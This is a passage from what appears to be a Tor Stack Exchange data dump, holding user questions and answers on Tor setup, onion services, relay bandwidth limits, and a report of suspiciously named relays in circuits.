tcp&#xA;127.0.0.1:9050: connect: connection refused&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any advice? In general, I've had no problem connecting to the internet through the Tor browser... But connecting through the terminal has been extremely frustrating.&lt;/p&gt;&#xA;" OwnerUserId="28688" LastActivityDate="2022-01-26T02:02:25.390" Title="Snapd Tor Connection" Tags="|proxy|terminal|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20928" PostTypeId="1" CreationDate="2020-02-21T21:17:28.373" Score="0" ViewCount="115" Body="&lt;p&gt;I'm running Xubuntu Bionic in a Virtualbox VM. I downloaded and installed Tor using the instructions here: &lt;a href=&quot;https://2019.www.torproject.org/docs/debian.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://2019.www.torproject.org/docs/debian.html.en&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor does not appear in my application menu, but it is installed. I can run tor from the command line with the following output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ tor&#xA;Feb 22 04:52:12.449 [notice] Tor 0.4.2.6 running on Linux with Libevent 2.1.8-stable, OpenSSL 1.1.1, Zlib 1.2.11, Liblzma 5.2.2, and Libzstd 1.3.3.&#xA;Feb 22 04:52:12.449 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Feb 22 04:52:12.449 [notice] Read configuration file &quot;/etc/tor/torrc&quot;.&#xA;Feb 22 04:52:12.452 [notice] Opening Socks listener on 127.0.0.1:9050&#xA;Feb 22 04:52:12.452 [warn] Could not bind to 127.0.0.1:9050: Address already in use. Is Tor already running?&#xA;Feb 22 04:52:12.453 [warn] Failed to parse/validate config: Failed to bind one of the listener ports.&#xA;Feb 22 04:52:12.453 [err] Reading config failed--see warnings above.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Tor was not already running. Checking the port with netstat gives this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ netstat -tulpn | grep LISTEN&#xA;(Not all processes could be identified, non-owned process info&#xA; will not be shown, you would have to be root to see it all.)&#xA;tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   &#xA;tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      -                   &#xA;tcp        0      0 127.0.0.1:9050          0.0.0.0:*               LISTEN      -                   &#xA;tcp        0      0 0.0.0.0:70              0.0.0.0:*               LISTEN      -                   &#xA;tcp6       0      0 ::1:631                 :::*                    LISTEN      -                   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Apparently tcp is listening on the port in question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How can I fix this? &lt;/li&gt;&#xA;&lt;li&gt;Should I install Tor in a VM using a different procedure?  &lt;/li&gt;&#xA;&lt;li&gt;How can I get Tor to appear in my application menu?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="28700" LastEditorUserId="28700" LastEditDate="2020-02-21T21:38:38.420" LastActivityDate="2022-03-13T13:05:55.750" Title="Tor Installed on Xubuntu VM: Port/Config Problem?" Tags="|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20929" PostTypeId="2" ParentId="20928" CreationDate="2020-02-22T07:54:52.257" Score="0" Body="&lt;p&gt;The first things to know is the different between the Tor application and Tor Browser. You installed the Tor application. It is separate and not required to install the Tor Browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tb-manual.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Browser&lt;/a&gt; is the graphical tool that you are looking for. It is a browser that is based upon Firefox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://2019.www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor&lt;/a&gt; application is a service that allows you to run a local proxy for Tor, run a bridge, run a relay, run an onion service, etc. If you're a Linux newbie, I would stay away from this for a while until you are more comfortable on the command line and editing configuration files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Easy answer to installation Tor Browser: Download it from &lt;a href=&quot;https://www.torproject.org/download/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;, decompress it, then run the start-tor-browser.desktop file. After you run it the first time, you can put this file on your desktop or in your menu if you know how to edit XFCE menus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if this still works since Ubuntu had some bugs previously, but you can also try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt install torbrowser-launcher&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should install it automatically and put it into your menu but if Ubuntu hasn't fixed it, put in a comment and I will edit this answer. I personally use OpenSUSE and it works great there.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastEditorUserId="23661" LastEditDate="2020-02-22T08:26:03.110" LastActivityDate="2020-02-22T08:26:03.110" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20930" PostTypeId="1" CreationDate="2020-02-22T20:25:09.603" Score="1" ViewCount="7776" Body="&lt;p&gt;I am using Onion Browser Button addons for Chrome on Windows 10. And I can't to access V3 .onion links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had been asked lot of times to developer to build a new version, but no answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone knows how to open V3 .onion links using addons for Chrome on Windows, please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I can't to install Tor Browser on notebook - not administrator user)&lt;/p&gt;&#xA;" OwnerUserId="28709" LastActivityDate="2020-03-24T00:02:10.280" Title="How to open V3 onion links using Onion Browser Button for Chrome?" Tags="|tor-browser-bundle|onion-services|browsers|add-on|tor-button|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20931" PostTypeId="2" ParentId="20930" CreationDate="2020-02-22T23:10:32.833" Score="1" Body="&lt;p&gt;Whatever this Onion Browser Button thing is, this is not from the Tor Project and is possibly malware, stealing your data, etc. so I would suggest removing it ASAP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to run Tor in Chrome on Windows 10, you need to start &lt;a href=&quot;https://www.torproject.org/download/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Browser&lt;/a&gt; and then start Chrome. You will need to then add a socks 5 proxy to Chrome. Google doesn't make that easy. The socks proxy will be 127.0.0.1 port 9150. If you close Tor Browser, the proxy will stop. By this way none of this is a suggested way of doing things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://2019.www.torproject.org/about/overview.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;point of Tor&lt;/a&gt; is anonymity online. By using a browser that is different from what everyone else uses and is untested, you will be greatly reducing the chances that you will be anonymous.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-02-22T23:10:32.833" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20934" PostTypeId="1" CreationDate="2020-02-25T09:16:34.923" Score="0" ViewCount="222" Body="&lt;p&gt;i have Debian 10 installed so i install tor and edit the torrc file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /var/lib/tor/hidden_service/&#xA;&#xA;HiddenServicePort 80 127.0.0.1:80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it did not work out because hidden_service folder was not created... so i give read and write permission to  /var/lib/tor folder and it works, url was generated with private and public keys...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then i just start apache via sudo service apache start&lt;/p&gt;&#xA;&#xA;&lt;p&gt;localhost was perfectly worked but in tor browser when i browse the generated onion url it could not connect to web server why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the same thing was with Nginx too&lt;/p&gt;&#xA;&#xA;&lt;p&gt;can someone tell me what i am doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="28714" LastEditorUserId="88" LastEditDate="2020-03-26T22:55:31.107" LastActivityDate="2021-12-17T04:02:26.497" Title="Help configure an onion service on my computer" Tags="|configuration|onion-services|debian|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20935" PostTypeId="2" ParentId="20934" CreationDate="2020-02-25T18:58:13.430" Score="0" Body="&lt;p&gt;Here are some troubleshooting ideas:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;stop the tor systemd service:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo systemctl stop tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;run tor manually to see if there are any errors that systemd is not reporting.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tor -f /etc/tor/torrc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you are not getting an errors and ff you are still not able to connect with Tor Browser, try changing your route. Remember, it takes time for your new onion service to propagate. When I experiment with this, I know that it can take 5+ minutes for a &quot;live&quot; site to be be available. I've even had 10+ minute wait time before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no ping with tor to see if something is working but you can do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;watch 'torsocks curl youronionsite.onion'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will attempt connect every 2 seconds and you will see when it comes live.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-02-25T18:58:13.430" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="20936" PostTypeId="1" CreationDate="2020-02-25T22:02:24.277" Score="1" ViewCount="716" Body="&lt;p&gt;I am allowed 3646 GB of transfer in a month on my droplet, and the droplet is at 3746 which means I have to pay an 'overage' besides the cost of each droplet (2).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;torrc:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Current bandwidth is at 100 KB and the burst is set at 200 KB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NYX is set at 40 mb/40mb and I never did understand the purpose of having dual settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I calculate bandwidth/burst rate to stay within the 3646 thresh hold??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks anybody for help with this :-)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; Adriann&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19670" LastActivityDate="2020-02-26T16:58:03.520" Title="Calculating relay bandwidth/burst" Tags="|bandwidth|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20937" PostTypeId="1" CreationDate="2020-02-26T08:20:52.273" Score="2" ViewCount="6782" Body="&lt;p&gt;YouTube is censored in my country and every time i open it in Tor i face below text and its take my time to pass human check . what can i do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our systems have detected unusual traffic from your computer network. Please try your request.&lt;/p&gt;&#xA;" OwnerUserId="28719" LastActivityDate="2022-02-26T00:06:25.553" Title="Our systems have detected unusual traffic" Tags="|error|censorship|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20938" PostTypeId="2" ParentId="20937" CreationDate="2020-02-26T08:44:57.740" Score="0" Body="&lt;p&gt;See &lt;a href=&quot;https://tor.stackexchange.com/questions/20925/not-allowed-to-sign-in-to-google-when-using-tor&quot;&gt;Not allowed to sign in to Google when using Tor&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You aren't doing anything wrong but Google doesn't like Tor users and will often block them. You have two options:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Change your circuit and try again an hope that they accept the new&#xA;exit node.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use a VPN. You will not have the advantages of Tor, but you will&#xA;probably be able to access Google services.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-02-26T08:44:57.740" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20939" PostTypeId="1" CreationDate="2020-02-26T09:21:03.563" Score="0" ViewCount="140" Body="&lt;p&gt;Hi :) I'm unable to update my OSX and it needs to be updated.&#xA;Does the fact that my OSX is outdated make TOR less secure to use?&lt;/p&gt;&#xA;" OwnerUserId="28720" LastActivityDate="2022-01-16T15:04:45.453" Title="How secure is it to use Tor on an outdated OSX" Tags="|security|mac|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20940" PostTypeId="2" ParentId="20939" CreationDate="2020-02-26T09:31:44.017" Score="0" Body="&lt;p&gt;It makes your computer as a whole less secure because new security issues will not be patched.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor Browser will work the same as it always did but it won't change that fact that your machine is more vulnerable.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-02-26T09:31:44.017" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20941" PostTypeId="2" ParentId="20936" CreationDate="2020-02-26T16:49:46.410" Score="3" Body="&lt;p&gt;Rather than setting a bandwidth/burst, consider enabling the bandwidth accounting:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://2019.www.torproject.org/docs/tor-manual.html.en#AccountingMax&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://2019.www.torproject.org/docs/tor-manual.html.en#AccountingMax&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Limits the max number of bytes sent and received within a set time period using a given calculation rule (see: AccountingStart, AccountingRule). Useful if you need to stay under a specific bandwidth. [...] If you have bandwidth cost issues, enabling hibernation is preferable to setting a low bandwidth, since it provides users with a collection of fast servers that are up some of the time, which is more useful than a set of slow servers that are always &quot;available&quot;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AccountingMax 3395 GBytes&#xA;# 3646 GB = 3395 GiB&#xA;AccountingRule out&#xA;# only count outgoing traffic&#xA;AccountingStart month 1 0:00&#xA;# start on the first day of each month&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To set the bandwidth/burst rate, let's assume that your DigitalOcean bandwidth limit is 3646 GB for outgoing data only, and that incoming is unlimited (this used to be the case, but their &lt;a href=&quot;https://www.digitalocean.com/docs/accounts/billing/bandwidth/&quot; rel=&quot;nofollow noreferrer&quot;&gt;help page&lt;/a&gt; doesn't mention incoming data anymore). Let's also assume that your units use decimal prefixes since you used GB and not GiB and the decimal value is lower (so you don't accidentally go over your limit because of unit confusion).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are 2,678,400 seconds in 31 days and 3646000000000 B in 3646 GB. This works out to a maximum bandwidth rate of 1361260 B/s. Tor's configuration file uses binary prefixes, so 1361260 B/s is equivalent to about 1.29 MiB/s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting the following lines in your torrc configuration should make it unlikely that you exceed your limit.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BandwidthRate 1.29 MBytes&#xA;BandwidthBurst 2 MBytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this is specifically the case that the bandwidth accounting was designed for, so I'd recommend using those (or slightly higher) bandwidth values, but also setting &lt;code&gt;AccountingMax&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should also disable your Nyx bandwidth settings in this case.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastEditorUserId="24966" LastEditDate="2020-02-26T16:58:03.520" LastActivityDate="2020-02-26T16:58:03.520" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20942" PostTypeId="2" ParentId="20919" CreationDate="2020-02-26T17:22:49.840" Score="0" Body="&lt;p&gt;In the past keeping the Tor Browser at its default size was a good idea to limit browser fingerprinting, but this is no longer the case for current versions of the Tor Browser which use &lt;a href=&quot;https://support.torproject.org/tbb/maximized-torbrowser-window/&quot; rel=&quot;nofollow noreferrer&quot;&gt;letterboxing&lt;/a&gt;. Now you are free to resize the browser window to any size you wish.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-02-26T17:22:49.840" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20943" PostTypeId="1" CreationDate="2020-02-26T20:52:26.613" Score="0" ViewCount="897" Body="&lt;p&gt;I run a very small non-profit website and sometimes there are people that attack the website for unknown reasons to me, I use a dedicated server but the TOR Process itself uses only one core when attack occurs, that means, there is X cores left free which are being unused and I assume could handle the TOR load. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read somewhere that Tor is Single cored process? Is it true? Is there something I can do about it? As I said it's nonprofit and I make only few $ a month if I consider donations. It's not worth it for me to build a huge clusters. Any ideas? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also noticed that my tor version is v0.2.5.16 which I can't update anymore, I assume it's because I use older distro.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for all tips/posts/replies and your time.&lt;/p&gt;&#xA;" OwnerUserId="28723" LastActivityDate="2020-02-27T03:37:36.127" Title="Tor 100% CPU usage - DoS attack" Tags="|configuration|onion-services|attacks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20944" PostTypeId="2" ParentId="20943" CreationDate="2020-02-27T03:37:36.127" Score="1" Body="&lt;p&gt;First, I highly recommend upgrading your Tor version as it no longer receives bug fixes or security patches (or new v3 onion addresses). If you're running Debian or Ubuntu, you can check if your version is supported here: &lt;a href=&quot;https://2019.www.torproject.org/docs/debian.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://2019.www.torproject.org/docs/debian.html.en&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for your high CPU usage, tor is mostly single-threaded, so the behavior you see is expected. You may be interested in trying &lt;a href=&quot;https://onionbalance.readthedocs.io/en/latest/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;OnionBalance&lt;/a&gt;, which allows you to scale the load on your hidden service across multiple tor processes (and multiple computers). This will not prevent all types of DoS attacks, but may help in your case.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-02-27T03:37:36.127" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20947" PostTypeId="2" ParentId="19949" CreationDate="2020-02-28T10:02:47.617" Score="0" Body="&lt;p&gt;Thank you for your sharing. i've try your explanation. But we need to edit run.sh and Docker file since docker did't allow us to share /etc/localtime directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for run.sh we can use TZ package to retrieve host timezone.&#xA;&lt;code&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;!/bin/bash&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;export ETC_LOCALTIME=$(readlink /etc/localtime)&#xA;echo ${ETC_LOCALTIME}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;docker run -d --name containername \&#xA;  -e TZ='ls -la /etc/localtime | cut -d/ -f8-9' \&#xA;  -p 127.0.0.1:9050:9050 \&#xA;  -p 9001:9001 \&#xA;  -p 9030:9030 \&#xA;  -p 127.0.0.1:9051:9051 \&#xA;  -v /Docker/conf/torrc:/etc/tor/torrc:ro \&#xA;  -v /Docker/data/:/var/lib/tor \&#xA;  --restart unless-stopped \&#xA;  myname/my-relay:latest&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Dockerfile, we need to add tzdata.&#xA;&lt;code&gt;&#xA;FROM alpine:edge&#xA;RUN apk add --update tzdata&#xA;RUN apk add --no-cache tor&#xA;RUN apk add --update \&#xA;     python \&#xA;     python-dev \&#xA;     py-pip \&#xA;     build-base \&#xA;  &amp;amp;&amp;amp; pip install nyx&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EXPOSE 9050 9051&#xA;VOLUME [&quot;/var/lib/tor&quot;]&#xA;USER tor&#xA;CMD [&quot;/usr/bin/tor&quot;]&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="28716" LastActivityDate="2020-02-28T10:02:47.617" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20949" PostTypeId="2" ParentId="20921" CreationDate="2020-02-29T06:22:56.410" Score="1" Body="&lt;p&gt;As who are you running the nyx command? I suggest as debian-tor user&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo -u debian-tor nyx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or as root&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;runuser -u debian-tor nyx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And whats in your torrc regarding control port? Like port number, cookie authentication etc.&lt;/p&gt;&#xA;" OwnerUserId="28507" LastEditorUserId="28507" LastEditDate="2020-05-31T10:08:42.760" LastActivityDate="2020-05-31T10:08:42.760" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20951" PostTypeId="2" ParentId="20710" CreationDate="2020-03-02T05:59:17.763" Score="0" Body="&lt;p&gt;You are on par with the thoughts I've had regarding this. And another vector of attack is also possible, but very hard to succeed with storing unique data bound to unique users, somewhere along the road you will find some collision of data, which can then be bound even further. Effectively de-anonymize any user, eventually, thru time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just think of how easy that would be on a IRC-network using VHOSTs or some masking of either whole and/or part of the IP/hostname for every user - that just means one thing and one thing only: &quot;Oh! Another piece of information that can be used to fingerprint a user with higher probability&quot; (!!!). &lt;/p&gt;&#xA;" OwnerUserId="28750" LastActivityDate="2020-03-02T05:59:17.763" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20956" PostTypeId="1" CreationDate="2020-03-03T10:07:46.257" Score="0" ViewCount="140" Body="&lt;p&gt;Similar nodes are acting as multiple exit nodes with names such as Pwner1 and Pwner2 and other exit nodes have exactly the same name for multiple circuits but with different fingerprints such as PWNEE. The same nodes are acting as relays in multiple circuits. There is always at least one extra entry guard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is only supposed to be one entry guard so why do my circuits look like this? What's going on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This first version is an inaccurate representation, but this is what it looks like if you're not paying close attention. Just glancing at it you can see the same nodes over and over.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;uPwnedbruh, PwnMeOnceShameOnYou, PWNEE&#xA;OneGreatPwnedTorEntryGuard4Life, Pwnies, stax, PWNEE&#xA;OneGreatPwnedTorEntryGuard4Life, Pwned4Life, PWNEE&#xA;OneGreatPwnedTorEntryGuard4Life, PwnMaster, PWNEE&#xA;OneGreatPwnedTorEntryGuard4Life, PwnMaster, NowYouSeeItNowYouPwned, PWNEE&#xA;OneGreatPwnedTorEntryGuard4Life, PwnMaster, PWNEE&#xA;OneGreatPwnedTorEntryGuard4Life, PwnMaster, Pwnies, NowYouSeeItNowYouPwned, PWNEE&#xA;OneGreatPwnedTorEntryGuard4Life, YesYouIs, IfYourHappyAndYourePwnedClapYourHands, Pwner19&#xA;OneGreatPwnedTorEntryGuard4Life, YesYouIs, ToBeOrNotToBeThatIsThePwnage, Shame1&#xA;uPwnedbruh, DirtyRottenPwners, ThePwning&#xA;uPwnedbruh, PwnersAnonymous, Pwner22&#xA;OneGreatPwnedTorEntryGuard4Life, PwningIsYourFriend, ThePwnerator, Pwn2tor3&#xA;OneGreatPwnedTorEntryGuard4Life, NowOrPwner, pwnmeupbaby&#xA;OneGreatPwnedTorEntryGuard4Life, StylishPwner, Pwner8&#xA;OneGreatPwnedTorEntryGuard4Life, SaveThePwnies, nPwnA, Pwn2tor4&#xA;OneGreatPwnedTorEntryGuard4Life, SaveThePwnies, whyusoPWNed, Pwn2tor5&#xA;OneGreatPwnedTorEntryGuard4Life, SaveThePwnies, Yup, Pwn2tor6&#xA;OneGreatPwnedTorEntryGuard4Life, SaveThePwnies, Yup, Pwn2tor7&#xA;OneGreatPwnedTorEntryGuard4Life, PwnerSinclaire, Yup, Pwner21&#xA;OneGreatPwnedTorEntryGuard4Life, PwnerSinclaire, Yup, HarryPwner1&#xA;OneGreatPwnedTorEntryGuard4Life, YesYouIs, PwnerSinclaire, cPwnA, Pwner25&#xA;OneGreatPwnedTorEntryGuard4Life, YesYouIs, PwnerSinclaire, HarryPwner2&#xA;uPwnedbruh, YesYouIs, IsYouIsOrIsYouAintMyPwnie, baggage1&#xA;uPwnedbruh, YesYouIs, IsYouIsOrIsYouAintMyPwnie, Yellow&#xA;uPwnedbruh, YesYouIs, Pwnxor&#xA;uPwnedbruh, YesYouIs, Pwnzie&#xA;uPwnedbruh, YesYouIs, easypeasy&#xA;uPwnedbruh, YesYouIs, Pixel, packet&#xA;uPwnedbruh, YesYouIs, bruh, getonthegravypwn&#xA;uPwnedbruh, YesYouIs, HelloPwnedWorld, baggage2&#xA;uPwnedbruh, YesYouIs, IceCreamPwn, Pwn4YourLife, Shame2&#xA;uPwnedbruh, YesYouIs, PwnSupreme, PWNEE, Pwner9&#xA;uPwnedbruh, YesYouIs, YourPwnieOrYourLife, PickledPwniesAndHam&#xA;uPwnedbruh, YesYouIs, ipwn, Pwner10&#xA;uPwnedbruh, PWNPWNPWN, ribpwnbit, Pwn2tor8&#xA;uPwnedbruh, grilledPWN, IfYourHappyAndYourePwnedClapYourHands, Pwn2tor1&#xA;uPwnedbruh, AndYouReallyWantToPwnIt, Dark&#xA;NowYouPwnMeNowYouDont, Gaveitalltoshame, Shame3&#xA;OneGreatPwnedTorEntryGuard4Life, p, Jaws, Pwn2tor2&#xA;OneGreatPwnedTorEntryGuard4Life, ColdPwn, Pr0n&#xA;OneGreatPwnedTorEntryGuard4Life, Shield, Malicious&#xA;OneGreatPwnedTorEntryGuard4Life, Goody, UglyPwny&#xA;OneGreatPwnedTorEntryGuard4Life, Pwner24, Picket&#xA;OneGreatPwnedTorEntryGuard4Life, Badp, fpwni&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;simpler and this is an exact representation with names changed to a, b, c where 'a' is the undead guard and 'Unnamed' is a second guard that's always there.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a, b, c&#xA;    some.stackexchange.com:443&#xA;a, d, e&#xA;    some.stackexchange.com:443&#xA;a, f, g&#xA;    some.stackexchange.com:443&#xA;Unnamed, h, i, j&#xA;a, h, k, l&#xA;Unnamed, m, n, Unnamed&#xA;Unnamed, h, o, p&#xA;Unnamed, h, Unnamed, q&#xA;Unnamed, m, i, r&#xA;a, h, Unnamed, x&#xA;Unnamed, t, u [New Tor Circuit for this Site 1]&#xA;    tor.stackexchange.com:443&#xA;a, Unnamed, i, v&#xA;a, Unnamed, n, Unnamed [first circuit]&#xA;    somelongv3hiddenservice.onion&#xA;Unnamed, Unnamed, i, w&#xA;Unnamed, m, o, x&#xA;Unnamed, Unnamed, k, y&#xA;Unnamed, z, PWNEE1 [first circuit]&#xA;    tor.stackexchange.com:443&#xA;a, another, PWNEE2 [New Tor Circuit for this Site 2]&#xA;    tor.stackexchange.com:443&#xA;a, different, PWNEE3 [New Tor Circuit for this Site 4]&#xA;    tor.stackexchange.com:443&#xA;a, m, newrepeatedname, new [New Tor Circuit for this site 1]&#xA;    somelongv3hiddenservice.onion&#xA;Unnamed, h, o, anothernew1 [New Tor Circuit for this site 2]&#xA;    somelongv3hiddenservice.onion&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, 'm' and 'h' constantly gets used in the 2nd hop and 'o' in the 3rd hop. The 2nd and 3rd hop 'h' and 'o' are seen here twice. Then there's 'm' and 'o' and PWNEE is never far away from being the last hop. newrepeatedname is yet another node like the 'o' node in the 3rd hop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a recent development. Nodes were more random and there were a couple of suspiciously named exits with similar names. The Unnamed guard persisted but only provided 1 or 2 circuits every now and then. Now I have 2 permanent guards and a lot less random nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update1: After successfully changing the guards, and wiping the OS, I am seeing the same behavior with completely different nodes and a handful of nodes that remain the same as with the other guards. So I have two new guards both of which are used to build circuits and a few nodes occupying the 2nd and 3rd hops, making for a lot less randomness than just a few days ago. It makes me wonder if Tor's circuit building mechanism changed either upstream or by a configuration change in my operating system which was updated a few days ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update2: As dangerous as it is, I changed the guards again and wiped the OS again but this time I did &lt;em&gt;not&lt;/em&gt; update the OS. I only have one Tor Entry Guard and the 2nd and 3rd guards are random again. I am tempted to leave things as is for a while but I'm curious about what security updates I might be missing out on and I found this: &lt;a href=&quot;https://github.com/mikeperry-tor/vanguards/blob/master/README_TECHNICAL.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/mikeperry-tor/vanguards/blob/master/README_TECHNICAL.md&lt;/a&gt;, specifically this snippet here: &quot;These options ensure that all onion service circuits are restricted to a set of second and third layer guards, instead of sampling random ones from the whole network every time.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it was not all in my head assuming this is what updating 